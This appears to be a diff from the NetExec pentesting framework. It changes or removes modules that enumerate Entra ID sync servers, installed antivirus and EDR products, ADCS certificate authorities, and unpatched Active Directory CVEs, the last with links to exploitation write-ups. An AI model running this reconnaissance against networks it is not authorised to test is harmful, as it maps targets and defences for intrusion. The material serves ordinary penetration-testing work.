self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
# Restore 'show advanced options' to its original state if needed
self.restore_show_advanced_options()
-83
View File
@@ -1,83 +0,0 @@
import re
from termcolor import colored
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
class NXCModule:
"""Module by @NeffIsBack"""
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
self.context = context
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
msol_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=MSOL_*)",
attributes=["sAMAccountName", "cn", "description"],
))
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
adsync_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=ADSyncMSA*)",
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
))
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
hosts = []
for acc in msol_parsed:
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
if host:
hostname = host.group("host")
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
hosts.append({
"hostname": hostname,
"ip": ip,
"msol_account": acc["sAMAccountName"],
})
for adsync in adsync_parsed:
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
# Get the computer object for the ADSyncMSA service account
computer = parse_result_attributes(connection.search(
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
attributes=["dNSHostName", "cn", "sAMAccountName"],
))[0]
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
if host and host["ip"]: # Skip if host and IP are already set
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
continue
elif host: # If host exists but IP is not set, update it
host["ip"] = connection.resolver(computer["dNSHostName"])
else: # If host does not exist, create a new entry
hosts.append({
"hostname": computer["cn"],
"ip": connection.resolver(computer["dNSHostName"]),
})
if hosts:
self.context.log.success("Found Entra ID sync servers:")
for host in hosts:
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
+112 -169
View File
@@ -3,11 +3,10 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -19,7 +18,8 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -45,8 +45,20 @@ class NXCModule:
results = {}
try:
lsa = LsaLookupNames(connection=connection)
dce = lsa.connect()
lsa = LsaLookupNames(
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -72,7 +84,10 @@ class NXCModule:
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
context.log.fail(str(e))
if "STATUS_ACCESS_DENIED" in str(e):
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
else:
context.log.fail(str(e))
def dump_results(self, results, context):
if not results:
@@ -91,11 +106,82 @@ class NXCModule:
class LsaLookupNames:
def __init__(self, connection=None):
self.connection = connection
timeout = None
authn_level = None
protocol = None
transfer_syntax = None
machine_account = False
def connect(self):
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
transfer syntax specified.
:return: tuple of DCE/RPC and RPC Transport objects
:rtype: (DCERPC_v5, DCERPCTransport)
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
# Bind if specified
iface_uuid = iface_uuid or self.iface_uuid
if iface_uuid and self.transfer_syntax:
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
elif iface_uuid:
dce.bind(iface_uuid)
return dce, rpc_transport
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
@@ -127,27 +213,6 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Arctic Wolf",
"services": [
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
{"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
{"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
{"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
{"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
],
"pipes": [
{"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
{"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
]
},
{
"name": "Bitdefender",
"services": [
@@ -178,28 +243,18 @@ conf = {
"pipes": []
},
{
"name": "Check Point Endpoint Security",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
],
"pipes": []
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": "Cortex XDR"}
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cybereason",
"services": [
@@ -212,24 +267,6 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Cynet",
"services": [
{"name": "CynetLauncher", "description": "CynetLauncher"}
],
"pipes": []
},
{
"name": "Elastic EDR",
"services": [
{"name": "Elastic Agent", "description": "Elastic Agent Service"},
{"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
],
"pipes": [
{"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
{"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
]
},
{
"name": "ESET",
"services": [
@@ -244,24 +281,6 @@ conf = {
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "FortiClient",
"services": [
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
],
"pipes": [
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
{"name": "FC_*", "processes": ["FortiTray.exe"]}
]
},
{
"name": "FortiEDR",
"services": [
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
],
"pipes": []
},
{
"name": "G DATA Security Client",
"services": [
@@ -273,40 +292,6 @@ conf = {
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
]
},
{
"name": "HarfangLab EDR",
"services": [
{"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
{"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
{"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
{"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
{"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
],
"pipes": [
{"name": "hurukai-control", "processes": ["hurukai.exe"]},
{"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
{"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
]
},
{
"name": "Ivanti Security",
"services": [
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
],
"pipes": []
},
{
"name": "Kaseya Agent Endpoint",
"services": [
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
],
"pipes": [
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
]
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -319,18 +304,6 @@ conf = {
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Malwarebytes",
"services": [
{"name": "MBAMService", "description": "Malwarebytes Service"},
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
],
"pipes": [
{"name": "MBLG", "processes": ["MBAMService.exe"]},
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"services": [
@@ -343,11 +316,6 @@ conf = {
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
]
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "SentinelOne",
"services": [
@@ -361,6 +329,15 @@ conf = {
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
@@ -381,15 +358,6 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
@@ -400,7 +368,7 @@ conf = {
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
@@ -419,10 +387,7 @@ conf = {
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
],
"pipes": [
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
@@ -432,13 +397,6 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Wazuh",
"services": [
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
],
"pipes": []
},
{
"name": "Windows Defender",
"services": [
@@ -447,21 +405,6 @@ conf = {
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
},
{
"name": "WithSecure Elements",
"services": [
{"name": "fsdevcon", "description": "WithSecure Device Control"},
{"name": "fshoster", "description": "WithSecure Hoster"},
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
],
"pipes": [
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
]
}
]
}
+8 -24
View File
@@ -6,9 +6,6 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
import contextlib
class NXCModule:
@@ -26,15 +23,16 @@ class NXCModule:
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""No options available"""
pass
def on_login(self, context, connection):
self.__username = connection.username
@@ -63,25 +61,15 @@ class NXCModule:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port == 443:
elif self.__port in [443]:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
dce = None
try:
if int(self.__port) == 135:
rpc = NXCRPCConnection(connection, force_tcp=True)
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
else:
entries = self.__fetchList(connection.kerberos, rpctransport)
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -92,17 +80,13 @@ class NXCModule:
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug(f"EXEs {exename}")
context.log.debug("EXEs %s" % exename)
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
-263
View File
@@ -1,263 +0,0 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
class NXCModule:
"""
Initial module by: Mauriceter
Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
"""
name = "enum_cve"
description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
and do not check for the actual presence of the vulnerable components or mitigations.
Test the attack yourself to verify the host is actually vulnerable.
Currently supported CVEs:
- CVE-2025-33073 (NTLM Reflection)
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
- CVE-2026-102217 (PetitPotam WebDAV coercion)
- KB5126646 (LDAP Signing Bypass, no CVE assigned)
CVE Filter for a specific CVE/KB identifier from the list above (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
"""
self.cve = module_options.get("CVE", "all").lower()
if self.cve != "all" and self.cve not in [cve.lower() for cve in self.CVE_PATCHES]:
context.log.fail(f"Unknown CVE '{module_options['CVE']}', supported identifiers: {', '.join(self.CVE_PATCHES)}")
return False
self.exploitation_details = module_options.get("EXPLOITATION", "false").lower() in ["true", "1", "yes"]
def is_vulnerable(self, os_key, ubr, msrc):
min_patched_ubr = msrc.get(os_key)
if min_patched_ubr is None:
return None # Unknown product
return ubr < min_patched_ubr
def on_login(self, context, connection):
connection.trigger_winreg()
try:
# Connect to RemoteRegistry to read UBR from registry
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
dce.disconnect()
if not ubr:
context.log.info("Could not determine OS version from registry")
return
else:
context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
except DCERPCException as e:
context.log.fail(f"DCERPC error: {e}")
return
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
context.log.fail(f"Unexpected error: {e}")
return
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
return
# Check each CVE
os_version = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}"
os_key = (connection.server_os_major, connection.server_os_minor, connection.server_os_build)
if not any(os_key in entry["patches"] for entry in self.CVE_PATCHES.values()):
context.log.info(f"Build {os_version} is not listed in any check, cannot determine vulnerability status")
return
for cve in self.CVE_PATCHES:
if self.cve == "all" or self.cve.lower() == cve.lower():
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
continue
vulnerable = self.is_vulnerable(os_key, ubr, self.CVE_PATCHES[cve]["patches"])
if vulnerable is None:
context.log.info(f"Cannot check {self.CVE_PATCHES[cve]['alias']}: no patched UBR known for build {os_version}")
continue
if vulnerable:
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
else:
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
if self.exploitation_details:
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
else:
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'][os_key]})")
# patches: key = (major, minor, build), value = minimum patched UBR
CVE_PATCHES = {
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 5965, # Windows 10 21H2
(10, 0, 20348): 3807, # Windows Server 2022
(10, 0, 22621): 5472, # Windows 11 22H2
(10, 0, 25398): 1665, # Windows Server 2022 23H2
(10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2
},
"message": "Relay possible from SMB to any protocol",
"signing_message": "can relay SMB to other protocols except SMB",
"exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
"CVE-2025-58726": {
"alias": "Ghost SPN",
"patches": {
(6, 0, 6003): 23571, # Windows Server 2008 SP2
(6, 1, 7601): 27974, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25722, # Windows Server 2012
(6, 3, 9600): 22824, # Windows Server 2012 R2
(10, 0, 10240): 21161, # Windows 10 1507
(10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6456, # Windows 10 21H2
(10, 0, 20348): 4294, # Windows Server 2022
(10, 0, 22621): 6060, # Windows 11 22H2
(10, 0, 25398): 1913, # Windows Server 2022 23H2
(10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2
(10, 0, 26200): 6899, # Windows 11 25H2
},
"message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
"signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
"exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
# https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
"CVE-2025-54918": {
"alias": "NTLM MIC Bypass",
"dc_only": True,
"patches": {
(6, 0, 6003): 23529, # Windows Server 2008 SP2
(6, 1, 7601): 27929, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25675, # Windows Server 2012
(6, 3, 9600): 22774, # Windows Server 2012 R2
(10, 0, 10240): 21128, # Windows 10 1507
(10, 0, 14393): 8422, # Windows Server 2016
(10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6332, # Windows 10 21H2
(10, 0, 20348): 4171, # Windows Server 2022
(10, 0, 22621): 5909, # Windows 11 22H2
(10, 0, 22631): 5909, # Windows 11 23H2
(10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2
},
"message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
"exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
"CVE-2025-53779": {
"alias": "BadSuccessor",
"dc_only": True,
"patches": {
(10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
"CVE-2024-49019": {
"alias": "ESC15 / EKUwu",
"patches": {
(6, 0, 6003): 22966, # Windows Server 2008 SP2
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25165, # Windows Server 2012
(6, 3, 9600): 22267, # Windows Server 2012 R2
(10, 0, 14393): 7515, # Windows Server 2016
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 2849, # Windows Server 2022
(10, 0, 25398): 1251, # Windows Server 2022 23H2
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
},
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
"CVE-2026-54121": {
"alias": "Certighost",
"patches": {
(6, 2, 9200): 26226, # Windows Server 2012
(6, 3, 9600): 23291, # Windows Server 2012 R2
(10, 0, 14393): 9339, # Windows Server 2016
(10, 0, 17763): 9020, # Windows Server 2019
(10, 0, 20348): 5386, # Windows Server 2022
(10, 0, 26100): 33158, # Windows Server 2025
},
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
"CVE-2026-27912": {
"alias": "ResetNightmare",
"dc_only": True,
"patches": {
(6, 2, 9200): 26026, # Windows Server 2012
(6, 3, 9600): 23132, # Windows Server 2012 R2
(10, 0, 14393): 9060, # Windows Server 2016
(10, 0, 17763): 8644, # Windows Server 2019
(10, 0, 20348): 5020, # Windows Server 2022
(10, 0, 25398): 2274, # Windows Server 2022 23H2
(10, 0, 26100): 32690, # Windows Server 2025
},
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
"CVE-2026-102217": {
"alias": "PetitPotam WebDAV coercion",
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 19044): 7807, # Windows 10 21H2
(10, 0, 19045): 7807, # Windows 10 22H2
(10, 0, 20348): 5761, # Windows Server 2022
(10, 0, 22631): 7652, # Windows 11 23H2
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
(10, 0, 26200): 9711, # Windows 11 25H2
(10, 0, 26300): 9711, # Windows 11 26H2
(10, 0, 28000): 3231, # Windows 11 26H1
},
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
},
# https://support.microsoft.com/en-us/servicing/os/azure-marketplace/windows-server/2026/windows-server-images-for-october-2026
"KB5126646": {
"alias": "LDAP Signing Bypass",
"dc_only": True,
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 20348): 5756, # Windows Server 2022
(10, 0, 25398): 2331, # Windows Server 2022 23H2 (EOL)
(10, 0, 26100): 33648, # Windows Server 2025
},
"message": "SMB-to-LDAP NTLM relay is possible even when LDAP signature is required",
"exploitation": "https://specterops.io/blog/2026/10/23/ldap-signing-bypass-ntlm-relay/",
},
}
+9 -11
View File
@@ -1,8 +1,5 @@
